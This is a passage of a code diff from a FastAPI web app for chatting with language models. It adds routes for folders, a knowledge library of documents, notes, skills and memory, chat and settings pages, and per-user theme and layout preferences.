folder = _owned_folder(db, folder_id, user.id)
if name is not None and name.strip():
folder.name = name.strip()[:200]
if parent_id is not None:
new_parent = _owned_folder(db, parent_id, user.id) if parent_id else None
# Reparenting a folder into its own subtree would detach that subtree
# from the root and make it unreachable.
cursor = new_parent
while cursor is not None:
if cursor.id == folder.id:
raise HTTPException(
status.HTTP_400_BAD_REQUEST,
"A folder cannot be moved inside itself.",
)
cursor = db.get(Folder, cursor.parent_id) if cursor.parent_id else None
folder.parent_id = new_parent.id if new_parent else None
if collapsed is not None:
folder.collapsed = collapsed
db.commit()
return _refresh_sidebar()
@router.delete("/{folder_id}")
async def delete_folder(db: Db, user: RequiredUser, folder_id: str) -> Response:
"""Delete a folder. Child folders go with it; chats do not.
Chats fall back to the unfiled list (the FK is ON DELETE SET NULL), because
losing a conversation to a mis-clicked folder delete is unforgivable.
"""
folder = _owned_folder(db, folder_id, user.id)
db.delete(folder)
db.commit()
return _refresh_sidebar()
+574
View File
@@ -0,0 +1,574 @@
"""The library: knowledge documents, notes, skills — and memory in settings.
List-plus-detail throughout, the same shape as the model admin: compact rows
with search and pagination, and a full form on its own page. A library is
expected to run to hundreds of items, and a page that renders a form per row is
unusable at that size.
Every read goes through ``services.sharing.visible_to`` and every write through
``owner_id``. Sharing grants reading only -- two people editing one note with no
history and no merge is worse than the inconvenience of copying it.
"""
from __future__ import annotations
import logging
from fastapi import APIRouter, Depends, File, Form, HTTPException, Request, UploadFile, status
from fastapi.responses import FileResponse, RedirectResponse, Response
from sqlalchemy import func, select
from sqlalchemy.orm import Session as DBSession
from lembas.api.deps import Db, RequiredUser, require_permission
from lembas.api.pages import sidebar_context
from lembas.db.models import (
AUTHOR_USER,
PRINCIPAL_GROUP,
PRINCIPAL_USER,
Document,
Group,
KnowledgeBase,
Note,
Skill,
SkillRevision,
User,
)
from lembas.security import permissions
from lembas.services import files as files_service
from lembas.services import settings_store, sharing
from lembas.services.fetch import FetchError, fetch
from lembas.services.library import documents as documents_service
from lembas.services.library import memories as memories_service
from lembas.services.library import notes as notes_service
from lembas.services.library import skills as skills_service
from lembas.services.markdown import render_markdown
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(dependencies=[Depends(require_permission("library.use"))], tags=["library"])
PAGE_SIZE = 30
def _page(db: DBSession, query, page: int):
"""One page of a visibility-filtered query, plus what the pager needs."""
total = db.scalar(select(func.count()).select_from(query.subquery())) or 0
pages = max(1, (total + PAGE_SIZE - 1) // PAGE_SIZE)
page = min(max(page, 1), pages)
rows = list(db.scalars(query.offset((page - 1) * PAGE_SIZE).limit(PAGE_SIZE)))
return rows, {"page": page, "pages": pages, "total": total}
def _shared_context(db: DBSession, user: User, resource) -> dict:
"""Everything the share panel on a detail page needs."""
grants = sharing.grants_for(db, resource)
return {
"can_share": permissions.has(db, user, "library.share"),
"groups": list(db.scalars(select(Group).order_by(Group.name))),
"people": list(
db.scalars(select(User).where(User.id != user.id).order_by(User.name))
),
"shared_users": [g.principal_id for g in grants if g.principal_type == PRINCIPAL_USER],
"shared_groups": [g.principal_id for g in grants if g.principal_type == PRINCIPAL_GROUP],
"is_owner": resource.owner_id == user.id,
}
def _apply_shares(db: DBSession, user: User, resource, form) -> None:
if not permissions.has(db, user, "library.share") or resource.owner_id != user.id:
return
sharing.set_grants(
db,
resource,
user_ids=form.getlist("share_user"),
group_ids=form.getlist("share_group"),
)
# --- Shell -------------------------------------------------------------------
@router.get("/library")
async def library_home(user: RequiredUser):
return RedirectResponse("/library/knowledge", status_code=status.HTTP_303_SEE_OTHER)
# --- Knowledge ---------------------------------------------------------------
# Route order matters: /library/knowledge/document/{id} must be registered
# before /library/knowledge/{base_id}, or "document" is parsed as a base id.
# FastAPI matches in registration order and this has bitten before.
@router.get("/library/knowledge")
async def knowledge_list(request: Request, db: Db, user: RequiredUser, error: str = ""):
"""The bases, not the documents. A library is a set of places first."""
bases = list(db.scalars(documents_service.visible_bases(db, user).order_by(KnowledgeBase.name)))
counts = {
base.id: db.scalar(
select(func.count()).select_from(Document).where(Document.base_id == base.id)
)
or 0
for base in bases
}
return render(
request,
"library/knowledge.html",
{
"section": "knowledge",
"bases": bases,
"counts": counts,
"error": error,
**sidebar_context(db, user),
},
)
@router.post("/api/library/bases")
async def create_base(
db: Db, user: RequiredUser, name: str = Form(""), description: str = Form("")
) -> Response:
try:
base = documents_service.create_base(
db, owner=user, name=name, description=description
)
except ValueError as exc:
from urllib.parse import quote
return RedirectResponse(
f"/library/knowledge?error={quote(str(exc))}",
status_code=status.HTTP_303_SEE_OTHER,
)
return RedirectResponse(
f"/library/knowledge/{base.id}", status_code=status.HTTP_303_SEE_OTHER
)
@router.get("/library/knowledge/document/{document_id}")
async def knowledge_detail(request: Request, db: Db, user: RequiredUser, document_id: str):
document = documents_service.get(db, document_id, user)
if document is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
return render(
request,
"library/knowledge_detail.html",
{
"section": "knowledge",
"document": document,
"is_owner": sharing.can_write(document, user),
# Only bases this person owns: moving a document into one they can
# merely read would hand it to that base's owner.
"user_bases": list(
db.scalars(
select(KnowledgeBase)
.where(KnowledgeBase.owner_id == user.id)
.order_by(KnowledgeBase.name)
)
),
**sidebar_context(db, user),
},
)
@router.get("/library/knowledge/{base_id}")
async def base_detail(
request: Request, db: Db, user: RequiredUser, base_id: str, q: str = "", page: int = 1
):
base = documents_service.get_base(db, base_id, user)
if base is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That knowledge base is not available.")
if q.strip():
rows = documents_service.search(db, user, q, limit=PAGE_SIZE, base_ids=[base.id])
pager = {"page": 1, "pages": 1, "total": len(rows)}
else:
rows, pager = _page(
db,
documents_service.visible(db, user, base_ids=[base.id]).order_by(
Document.created_at.desc()
),
page,
)
return render(
request,
"library/base_detail.html",
{
"section": "knowledge",
"base": base,
"documents": rows,
"q": q,
"pager": pager,
**_shared_context(db, user, base),
**sidebar_context(db, user),
},
)
@router.post("/api/library/bases/{base_id}")
async def update_base(request: Request, db: Db, user: RequiredUser, base_id: str) -> Response:
base = documents_service.get_base(db, base_id, user)
if base is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That knowledge base is not available.")
if not sharing.can_write(base, user):
raise HTTPException(status.HTTP_403_FORBIDDEN, "That base is not yours to change.")
form = await request.form()
name = " ".join(str(form.get("name", "")).split())[:200]
if name:
base.name = name
base.description = str(form.get("description", "")).strip()[:2000]
db.commit()
_apply_shares(db, user, base, form)
return RedirectResponse(
f"/library/knowledge/{base.id}", status_code=status.HTTP_303_SEE_OTHER
)
@router.post("/api/library/bases/{base_id}/delete")
async def delete_base(db: Db, user: RequiredUser, base_id: str) -> Response:
base = documents_service.get_base(db, base_id, user)
if base is None or not sharing.can_write(base, user):
raise HTTPException(status.HTTP_404_NOT_FOUND, "That knowledge base is not available.")
documents_service.delete_base(db, base)
return RedirectResponse("/library/knowledge", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/api/library/documents")
async def upload_document(
db: Db,
user: RequiredUser,
file: UploadFile = File(...),
title: str = Form(""),
base_id: str = Form(""),
) -> Response:
base = documents_service.get_base(db, base_id, user) if base_id else None
if base is not None and not sharing.can_write(base, user):
raise HTTPException(status.HTTP_403_FORBIDDEN, "That base is not yours to add to.")
payload = await file.read(files_service.MAX_UPLOAD_BYTES + 1)
try:
document = documents_service.store_upload(
db,
owner=user,
payload=payload,
filename=file.filename or "file",
title=title,
base=base,
)
except files_service.FileError as exc:
raise HTTPException(status.HTTP_400_BAD_REQUEST, str(exc)) from exc
return RedirectResponse(
f"/library/knowledge/{document.base_id}", status_code=status.HTTP_303_SEE_OTHER
)
@router.post("/api/library/documents/link")
async def save_link(
db: Db, user: RequiredUser, url: str = Form(...), base_id: str = Form("")
) -> Response:
base = documents_service.get_base(db, base_id, user) if base_id else None
if base is not None and not sharing.can_write(base, user):
raise HTTPException(status.HTTP_403_FORBIDDEN, "That base is not yours to add to.")
config = settings_store.search(db)
try:
page = await fetch(url, allow_private=bool(config.get("allow_private_fetch")))
except FetchError as exc:
raise HTTPException(status.HTTP_400_BAD_REQUEST, exc.message) from exc
document = documents_service.store_page(db, owner=user, page=page, base=base)
return RedirectResponse(
f"/library/knowledge/{document.base_id}", status_code=status.HTTP_303_SEE_OTHER
)
@router.post("/api/library/documents/{document_id}")
async def update_document(
request: Request, db: Db, user: RequiredUser, document_id: str
) -> Response:
document = documents_service.get(db, document_id, user)
if document is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
if not sharing.can_write(document, user):
raise HTTPException(status.HTTP_403_FORBIDDEN, "That document is not yours to change.")
form = await request.form()
document.title = str(form.get("title", document.title)).strip()[:300] or document.title
document.description = str(form.get("description", "")).strip()[:2000]
# Moving between bases changes who can see it, which is the whole point of
# bases -- so the destination has to be one this person can write to.
wanted = str(form.get("base_id", "")).strip()
if wanted and wanted != document.base_id:
destination = documents_service.get_base(db, wanted, user)
if destination is not None and sharing.can_write(destination, user):
document.base_id = destination.id
db.commit()
return RedirectResponse(
f"/library/knowledge/document/{document.id}", status_code=status.HTTP_303_SEE_OTHER
)
@router.post("/api/library/documents/{document_id}/delete")
async def delete_document(db: Db, user: RequiredUser, document_id: str) -> Response:
document = documents_service.get(db, document_id, user)
if document is None or not sharing.can_write(document, user):
raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
base_id = document.base_id
documents_service.delete(db, document)
return RedirectResponse(
f"/library/knowledge/{base_id}", status_code=status.HTTP_303_SEE_OTHER
)
@router.get("/api/library/documents/{document_id}/content")
async def document_content(db: Db, user: RequiredUser, document_id: str) -> Response:
"""Serve a document's file.
Non-images go out as attachments with nosniff, exactly as chat attachments
do: an uploaded .html must not be able to execute in this origin.
"""
document = documents_service.get(db, document_id, user)
if document is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
path = documents_service.stored_path(document.stored_name)
if path is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That file is no longer on disk.")
headers = {"X-Content-Type-Options": "nosniff"}
if not document.is_image:
headers["Content-Disposition"] = f'attachment; filename="{document.filename}"'
return FileResponse(path, media_type=document.media_type, headers=headers)
# --- Notes -------------------------------------------------------------------
@router.get("/library/notes")
async def notes_list(request: Request, db: Db, user: RequiredUser, q: str = "", page: int = 1):
if q.strip():
rows = notes_service.search(db, user, q, limit=PAGE_SIZE)
pager = {"page": 1, "pages": 1, "total": len(rows)}
else:
rows, pager = _page(
db, notes_service.visible(db, user).order_by(Note.updated_at.desc()), page
)
return render(
request,
"library/notes.html",
{
"section": "notes",
"notes": rows,
"q": q,
"pager": pager,
**sidebar_context(db, user),
},
)
@router.get("/library/notes/new")
async def new_note(request: Request, db: Db, user: RequiredUser):
return render(
request,
"library/note_detail.html",
{"section": "notes", "note": None, **sidebar_context(db, user)},
)
@router.get("/library/notes/{note_id}")
async def note_detail(request: Request, db: Db, user: RequiredUser, note_id: str):
note = notes_service.get(db, note_id, user)
if note is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That note is not available.")
return render(
request,
"library/note_detail.html",
{
"section": "notes",
"note": note,
"body_html": render_markdown(note.body),
**_shared_context(db, user, note),
**sidebar_context(db, user),
},
)
@router.post("/api/library/notes")
async def create_note(
db: Db, user: RequiredUser, title: str = Form(""), body: str = Form("")
) -> Response:
note = notes_service.create(db, owner=user, title=title, body=body, author=AUTHOR_USER)
return RedirectResponse(f"/library/notes/{note.id}", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/api/library/notes/{note_id}")
async def update_note(request: Request, db: Db, user: RequiredUser, note_id: str) -> Response:
note = notes_service.get(db, note_id, user)
if note is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That note is not available.")
if not sharing.can_write(note, user):
raise HTTPException(status.HTTP_403_FORBIDDEN, "That note is not yours to change.")
form = await request.form()
notes_service.update(db, note, title=str(form.get("title", "")), body=str(form.get("body", "")))
_apply_shares(db, user, note, form)
return RedirectResponse(f"/library/notes/{note.id}", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/api/library/notes/{note_id}/delete")
async def delete_note(db: Db, user: RequiredUser, note_id: str) -> Response:
note = notes_service.get(db, note_id, user)
if note is None or not sharing.can_write(note, user):
raise HTTPException(status.HTTP_404_NOT_FOUND, "That note is not available.")
notes_service.delete(db, note)
return RedirectResponse("/library/notes", status_code=status.HTTP_303_SEE_OTHER)
# --- Skills ------------------------------------------------------------------
@router.get("/library/skills")
async def skills_list(request: Request, db: Db, user: RequiredUser, q: str = "", page: int = 1):
if q.strip():
rows = skills_service.search(db, user, q, limit=PAGE_SIZE)
pager = {"page": 1, "pages": 1, "total": len(rows)}
else:
rows, pager = _page(db, skills_service.visible(db, user).order_by(Skill.name), page)
return render(
request,
"library/skills.html",
{
"section": "skills",
"skills": rows,
"q": q,
"pager": pager,
**sidebar_context(db, user),
},
)
@router.get("/library/skills/new")
async def new_skill(request: Request, db: Db, user: RequiredUser):
return render(
request,
"library/skill_detail.html",
{"section": "skills", "skill": None, **sidebar_context(db, user)},
)
@router.get("/library/skills/{skill_id}")
async def skill_detail(request: Request, db: Db, user: RequiredUser, skill_id: str):
skill = skills_service.get(db, skill_id, user)
if skill is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
return render(
request,
"library/skill_detail.html",
{
"section": "skills",
"skill": skill,
"revisions": skill.revisions,
**_shared_context(db, user, skill),
**sidebar_context(db, user),
},
)
@router.post("/api/library/skills")
async def create_skill(
db: Db,
user: RequiredUser,
name: str = Form(""),
description: str = Form(""),
body: str = Form(""),
) -> Response:
try:
skill = skills_service.create(
db, owner=user, name=name, description=description, body=body, author=AUTHOR_USER
)
except skills_service.SkillError as exc:
raise HTTPException(status.HTTP_400_BAD_REQUEST, str(exc)) from exc
return RedirectResponse(f"/library/skills/{skill.id}", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/api/library/skills/{skill_id}")
async def update_skill(request: Request, db: Db, user: RequiredUser, skill_id: str) -> Response:
skill = skills_service.get(db, skill_id, user)
if skill is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
if not sharing.can_write(skill, user):
raise HTTPException(status.HTTP_403_FORBIDDEN, "That skill is not yours to change.")
form = await request.form()
skills_service.update(
db,
skill,
description=str(form.get("description", "")),
body=str(form.get("body", "")),
enabled="enabled" in form,
author=AUTHOR_USER,
note="edited by hand",
)
_apply_shares(db, user, skill, form)
return RedirectResponse(f"/library/skills/{skill.id}", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/api/library/skills/{skill_id}/revert/{revision_id}")
async def revert_skill(
db: Db, user: RequiredUser, skill_id: str, revision_id: str
) -> Response:
skill = skills_service.get(db, skill_id, user)
if skill is None or not sharing.can_write(skill, user):
raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
revision = db.get(SkillRevision, revision_id)
if revision is None or revision.skill_id != skill.id:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That revision no longer exists.")
skills_service.revert(db, skill, revision, author=AUTHOR_USER)
return RedirectResponse(f"/library/skills/{skill.id}", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/api/library/skills/{skill_id}/delete")
async def delete_skill(db: Db, user: RequiredUser, skill_id: str) -> Response:
skill = skills_service.get(db, skill_id, user)
if skill is None or not sharing.can_write(skill, user):
raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
skills_service.delete(db, skill)
return RedirectResponse("/library/skills", status_code=status.HTTP_303_SEE_OTHER)
# --- Memory ------------------------------------------------------------------
# Lives in Settings rather than in the library: it is a set of short facts about
# the reader, not content they collected.
@router.post("/api/library/memories")
async def add_memory(db: Db, user: RequiredUser, content: str = Form("")) -> Response:
try:
memories_service.add(db, owner=user, content=content, author=AUTHOR_USER)
except ValueError as exc:
from urllib.parse import quote
return RedirectResponse(
f"/settings?error={quote(str(exc))}", status_code=status.HTTP_303_SEE_OTHER
)
return RedirectResponse(
"/settings?saved=Memory+added.", status_code=status.HTTP_303_SEE_OTHER
)
@router.post("/api/library/memories/{memory_id}")
async def update_memory(
db: Db, user: RequiredUser, memory_id: str, content: str = Form("")
) -> Response:
memory = memories_service.get(db, memory_id, user)
if memory is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That memory no longer exists.")
try:
memories_service.update(db, memory, content)
except ValueError as exc:
raise HTTPException(status.HTTP_400_BAD_REQUEST, str(exc)) from exc
return RedirectResponse(
"/settings?saved=Memory+updated.", status_code=status.HTTP_303_SEE_OTHER
)
@router.post("/api/library/memories/{memory_id}/delete")
async def delete_memory(db: Db, user: RequiredUser, memory_id: str) -> Response:
memory = memories_service.get(db, memory_id, user)
if memory is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That memory no longer exists.")
memories_service.delete(db, memory)
return RedirectResponse(
"/settings?saved=Memory+removed.", status_code=status.HTTP_303_SEE_OTHER
)
+444
View File
@@ -0,0 +1,444 @@
"""Full-page routes: the chat shell and the user's own settings."""
from __future__ import annotations
from fastapi import APIRouter, HTTPException, Request, Response, status
from fastapi.responses import FileResponse, JSONResponse, RedirectResponse
from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.api.deps import Db, RequiredUser
from lembas.db.models import Chat, Folder, KnowledgeBase, Message, User
from lembas.security import permissions
from lembas.services import audio as audio_service
from lembas.services import chat as chat_service
from lembas.services import compaction as compaction_service
from lembas.services import settings_store
from lembas.services import suggestions as suggestions_service
from lembas.services.library import documents as documents_service
from lembas.services.markdown import render_markdown
from lembas.web.templating import STATIC_DIR, render
router = APIRouter(tags=["pages"])
# Matches --bg for each theme in tokens.css. Duplicated here because the
# manifest is JSON read by the operating system before any stylesheet exists;
# there is nowhere for a CSS variable to resolve.
THEME_COLOUR = {"moria": "#101317", "shire": "#F6F1E4"}
def _chat_context(db: DBSession, user: User, chat: Chat | None) -> dict:
"""Model lists and permissions every chat page needs.
Pinned and unpinned are split here rather than in the template so the
picker's optgroups stay a plain loop.
"""
models = chat_service.available_models(db, user)
current = next((m for m in models if m.model_id == chat.model_id), None) if chat else None
return {
"models": models,
# For the sidebar shortcuts only. The picker lists `models` in the
# administrator's order, pinned or not.
"pinned_models": [m for m in models if m.pinned],
"current_model": current,
# Assistant bubbles show the avatar of the model that wrote them, which
# may not be the model the chat is set to now. Keyed by model_id, the
# denormalised value stored on each message.
"models_by_id": {m.model_id: m for m in models},
# Offered in the chat settings panel so a conversation can be pointed at
# particular bases. Empty when the reader has none, and the panel then
# shows nothing rather than an empty control.
"knowledge_bases": (
list(
db.scalars(
documents_service.visible_bases(db, user).order_by(KnowledgeBase.name)
)
)
if permissions.has(db, user, "library.use")
else []
),
"attached_base_ids": [base.id for base in chat.knowledge_bases] if chat else [],
# The three a reasoning model understands. From the service so the
# command, the control and the request builder cannot disagree about
# what is a valid effort.
"efforts": chat_service.EFFORTS,
# What the picker shows, and what `build_request` will send. One
# resolver so the two cannot disagree.
"resolved_effort": chat_service.resolved_effort(chat) if chat else "",
**_scope_context(db, user, chat),
**_agent_context(db, user, chat),
**audio_service.template_flags(db, user),
}
def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict:
"""What this chat may use, for the menu that narrows it.
Only for an existing chat: there is no row to write to before one exists,
and a menu whose choices went nowhere would be worse than no menu. The
families listed are the ones actually offered *right now*, so the menu never
shows a switch for something the model, the reader's permissions or the
instance has already ruled out -- turning that on would do nothing, since
`resolve_tools` applies this after the gates.
"""
from lembas.services import tool_labels
from lembas.services import tools as tools_service
from lembas.services.library import skills as skills_service
if chat is None:
return {"scope_families": [], "scope_skills": []}
off = tools_service.scoped_off(chat)
skills_off = tools_service.scoped_skills_off(chat)
# Gates rather than tool names: `notes` is one switch, not five, which is
# the same reasoning the per-model capability checkboxes carry.
seen: dict[str, str] = {}
for tool in tools_service.resolve_tools(db, chat, user).defs:
seen.setdefault(tools_service.gate_of(tool.family), tool.name)
# Anything already switched off is absent from the offered set, so it has to
# be put back or there would be no way to turn it on again.
for gate in off:
seen.setdefault(gate, "")
families = [
{
"gate": gate,
"label": _GATE_LABELS.get(gate) or tool_labels.label_for(example) or gate,
"on": gate not in off,
}
for gate, example in sorted(seen.items())
]
skills = []
if permissions.has(db, user, "library.use"):
skills = [
{
"name": skill.name,
"description": skill.description,
"on": skill.name not in skills_off,
}
for skill in skills_service.enabled_for(db, user)
]
for name in sorted(skills_off):
if name not in {s["name"] for s in skills}:
skills.append({"name": name, "description": "", "on": False})
return {"scope_families": families, "scope_skills": skills}
# What a gate is called in the menu. A gate covers several tools, so no single
# tool's label is the right name for it.
_GATE_LABELS = {
"web_search": "Web search",
"fetch": "Fetching pages",
"knowledge": "Your knowledge library",
"notes": "Notes",
"memory": "Memory",
"skills": "Skills",
"ask": "Asking you questions",
"agent": "Running commands",
"custom": "Custom tools",
"mcp": "MCP servers",
}
def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict:
"""What the composer and the chat header need to know about agent chats.
`agent_profiles` is empty unless every one of the conditions holds -- the
feature is on, the reader may run commands, and they have a usable
connection -- which is what makes the picker appear only when choosing it
would lead anywhere.
"""
from lembas.db.models import SshProfile
from lembas.services.agent import policy as agent_policy
profiles: list[SshProfile] = []
if settings_store.agents(db).get("enabled") and permissions.has(db, user, "tools.agent"):
profiles = list(
db.scalars(
select(SshProfile)
.where(SshProfile.owner_id == user.id, SshProfile.enabled.is_(True))
.order_by(SshProfile.name)
)
)
current = None
if chat is not None and chat.ssh_profile_id:
current = db.get(SshProfile, chat.ssh_profile_id)
if current is not None and current.owner_id != user.id:
current = None
return {
"agent_profiles": profiles,
"agent_profile": current,
"agent_modes": [
(m, agent_policy.MODE_LABELS[m], agent_policy.MODE_HINTS[m])
for m in agent_policy.MODES
],
"terminal_enabled": _terminal_enabled(db, user, chat, current),
}
def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool:
"""Whether this chat can offer a shell of its own.
Every condition, not a subset: the button loads 280KB of terminal and opens
a socket, so one that cannot work is worse than none. `ssh.available()` is
in here because an instance that installed LLeMbas without the `ssh` extra
would otherwise render a button whose only outcome is an error frame.
"""
from lembas.db.models import KIND_AGENT
from lembas.services.agent import ssh as ssh_service
if chat is None or chat.kind != KIND_AGENT or profile is None:
return False
if not permissions.has(db, user, "agent.terminal"):
return False
values = settings_store.agents(db)
if not values.get("enabled") or not values.get("terminal_enabled", True):
return False
return ssh_service.available() == ""
def sidebar_context(db: DBSession, user: User) -> dict:
"""Folder tree plus the chats that belong to no folder.
Public because every page carrying the chat sidebar needs it, which now
includes the library.
Only root folders are queried; children come through the relationship and
render recursively in the template.
"""
folders = list(
db.scalars(
select(Folder)
.where(Folder.user_id == user.id, Folder.parent_id.is_(None))
.order_by(Folder.position, Folder.name)
)
)
unfiled = list(
db.scalars(
select(Chat)
.where(
Chat.user_id == user.id,
Chat.folder_id.is_(None),
Chat.archived.is_(False),
Chat.temporary.is_(False),
)
.order_by(Chat.pinned.desc(), Chat.updated_at.desc())
)
)
return {
"folders": folders,
"unfiled_chats": unfiled,
"can": permissions.resolve(db, user),
}
@router.get("/")
async def home(user: RequiredUser):
return RedirectResponse("/chat", status_code=status.HTTP_303_SEE_OTHER)
# --- Installing as an app -----------------------------------------------------
# All three routes below are deliberately unauthenticated. A browser fetches a
# manifest and a service worker outside any page's session, and an offline page
# has by definition no server to ask who is looking at it.
@router.get("/manifest.webmanifest", include_in_schema=False)
async def manifest(db: Db) -> Response:
"""The web app manifest.
A route rather than a static file because the name is an instance setting,
and an installed app showing "LLeMbas" when the instance is called something
else would be wrong on the one screen that is hardest to correct: the
launcher.
"""
name = settings_store.get(db, "instance_name") or "LLeMbas"
return JSONResponse(
{
"id": "/",
"name": name,
"short_name": name[:12],
"description": "A web UI for your language models.",
"start_url": "/chat",
"scope": "/",
"display": "standalone",
"background_color": THEME_COLOUR["moria"],
"theme_color": THEME_COLOUR["moria"],
"icons": [
{"src": "/static/img/icon-192.png", "sizes": "192x192",
"type": "image/png", "purpose": "any"},
{"src": "/static/img/icon-512.png", "sizes": "512x512",
"type": "image/png", "purpose": "any"},
{"src": "/static/img/icon-maskable-512.png", "sizes": "512x512",
"type": "image/png", "purpose": "maskable"},
],
},
media_type="application/manifest+json",
)
@router.get("/sw.js", include_in_schema=False)
async def service_worker() -> Response:
"""The service worker, served from the root.
A worker may only control pages at or below the path it was served from, so
one delivered by the /static mount would have scope /static/js/ and control
nothing. Serving it here is simpler than the Service-Worker-Allowed header
that would be needed otherwise.
no-store because a stale worker is a worker that keeps serving a stale
cache: the one file in the application that must never be held onto.
"""
return FileResponse(
STATIC_DIR / "js" / "sw.js",
media_type="text/javascript",
headers={"Cache-Control": "no-store"},
)
@router.get("/offline", include_in_schema=False)
async def offline(request: Request) -> Response:
return render(request, "offline.html", {})
@router.get("/chat")
async def chat_index(
request: Request, db: Db, user: RequiredUser, model: str = "", temporary: bool = False
):
"""A composer with no chat behind it yet.
`?model=` preselects one, which is how the pinned shortcuts work without
creating a row for a chat that may never be sent. `?temporary=1` is the
same idea for the temporary flag: it lives in the URL rather than in
JavaScript, so it survives a reload and can be bookmarked.
"""
context = _chat_context(db, user, None)
# Fall back to the same choice a new chat would make -- the user's default,
# then the instance default, then first in order. Using models[0] here
# instead would show a model the chat is not going to use, which matters:
# the composer decides from it whether to warn that images will be dropped.
preselected = next((m for m in context["models"] if m.model_id == model), None)
if preselected is None:
chosen = chat_service.default_model(db, user)
if chosen is not None:
preselected = next(
(m for m in context["models"] if m.model_id == chosen[0]), None
)
if preselected is None and context["models"]:
preselected = context["models"][0]
return render(
request,
"chat/index.html",
{
"chat": None,
"messages": [],
"bodies": {},
**context,
"current_model": preselected,
"starting_temporary": temporary,
"suggestions": suggestions_service.visible(db),
**sidebar_context(db, user),
},
)
@router.get("/chat/{chat_id}")
async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str):
chat = db.get(Chat, chat_id)
if chat is None or chat.user_id != user.id:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
# Opening the chat is what "read" means.
if chat.unread:
chat.unread = False
chat.unread_notified = False
db.commit()
everything = list(
db.scalars(
select(Message).where(Message.chat_id == chat.id).order_by(Message.created_at)
)
)
# Summarised turns are kept and still rendered, behind a divider -- they
# have only stopped being part of the request.
compacted, messages = compaction_service.split(db, chat, everything)
# Markdown is rendered once here rather than in the template so the same
# helper produces the page and the streamed final frame -- one code path,
# no chance of the two disagreeing.
bodies = {
message.id: render_markdown(message.content)
for message in everything
if message.role == "assistant" and message.content
}
# What the chat would use if its own prompt were empty, so the settings
# panel can show it as placeholder text rather than leaving the user to
# guess what "inherited" means.
inherited, inherited_from = "", ""
current = next(
(m for m in chat_service.available_models(db, user) if m.model_id == chat.model_id), None
)
if current is not None and (current.system_prompt or "").strip():
inherited, inherited_from = current.system_prompt.strip(), "model"
else:
instance_prompt = (settings_store.get(db, "system_prompt") or "").strip()
if instance_prompt:
inherited, inherited_from = instance_prompt, "instance"
return render(
request,
"chat/index.html",
{
"chat": chat,
"messages": messages,
"compacted": compacted,
"bodies": bodies,
"inherited_prompt": inherited,
"inherited_from": inherited_from,
**_chat_context(db, user, chat),
**sidebar_context(db, user),
},
)
@router.get("/settings")
async def settings_page(
request: Request,
db: Db,
user: RequiredUser,
error: str = "",
saved: str = "",
):
from lembas.api.audio import available_voices
from lembas.services.library import memories as memories_service
context = _chat_context(db, user, None)
# Fetched here rather than by the template so a speech server that is down
# leaves the page renderable, with the reason beside an empty list.
voices, voice_error = await available_voices(context["audio"])
# error/saved arrive as query parameters because the password form redirects
# back here: a POST that re-rendered in place would re-submit on refresh.
return render(
request,
"settings.html",
{
"chat": None,
"error": error,
"saved": saved,
"voices": voices,
"voice_error": voice_error,
"memories": memories_service.all_for(db, user),
"memory_limit": memories_service.MAX_MEMORY_CHARS,
**context,
**sidebar_context(db, user),
},
)
+204
View File
@@ -0,0 +1,204 @@
"""Per-user preferences set from the browser."""
from __future__ import annotations
import contextlib
import logging
from fastapi import APIRouter, Body, Form, Request, status
from fastapi.responses import RedirectResponse, Response
from lembas.api.deps import Db, RequiredUser
from lembas.config import settings
from lembas.security.passwords import hash_password, validate_password, verify_password
from lembas.security.sessions import COOKIE_NAME, create_session, revoke_all_for_user
log = logging.getLogger(__name__)
router = APIRouter(prefix="/api/preferences", tags=["preferences"])
THEMES = ("moria", "shire")
@router.post("/theme")
async def set_theme(db: Db, user: RequiredUser, theme: str = Body(..., embed=True)) -> dict:
"""Mirror the browser's theme choice onto the account.
localStorage is the source of truth for the current tab; this is what makes
the choice follow the user to another browser, and what lets the server
render the right theme on first paint instead of flashing the default.
"""
if theme not in THEMES:
return {"ok": False, "detail": "Unknown theme."}
# Replaced rather than mutated in place: SQLAlchemy only reliably detects
# a change to a JSON column when the whole value is reassigned.
user.settings_json = {**(user.settings_json or {}), "theme": theme}
db.commit()
return {"ok": True, "theme": theme}
# Which CSS variables a browser is allowed to set from here, and how far. An
# open dict would let a page store anything under somebody's account and have
# it read back on every load; a width outside these bounds would hand them a
# panel they cannot see to drag back.
LAYOUT_BOUNDS = {
"--terminal-width": (384, 2400),
"--inspector-width": (280, 2400),
"--sidebar-width": (200, 800),
}
@router.post("/layout")
async def set_layout(db: Db, user: RequiredUser, widths: dict = Body(...)) -> dict:
"""Remember how wide somebody dragged the panels.
Same two tiers as the theme: `localStorage` is the truth for the tab that
did the dragging, and this is what carries it to another browser. Unknown
names are dropped rather than refused -- an older browser sending a key a
newer release removed should not fail the request.
"""
kept: dict[str, int] = {}
for name, raw in (widths or {}).items():
bounds = LAYOUT_BOUNDS.get(str(name))
if bounds is None:
continue
try:
value = int(float(raw))
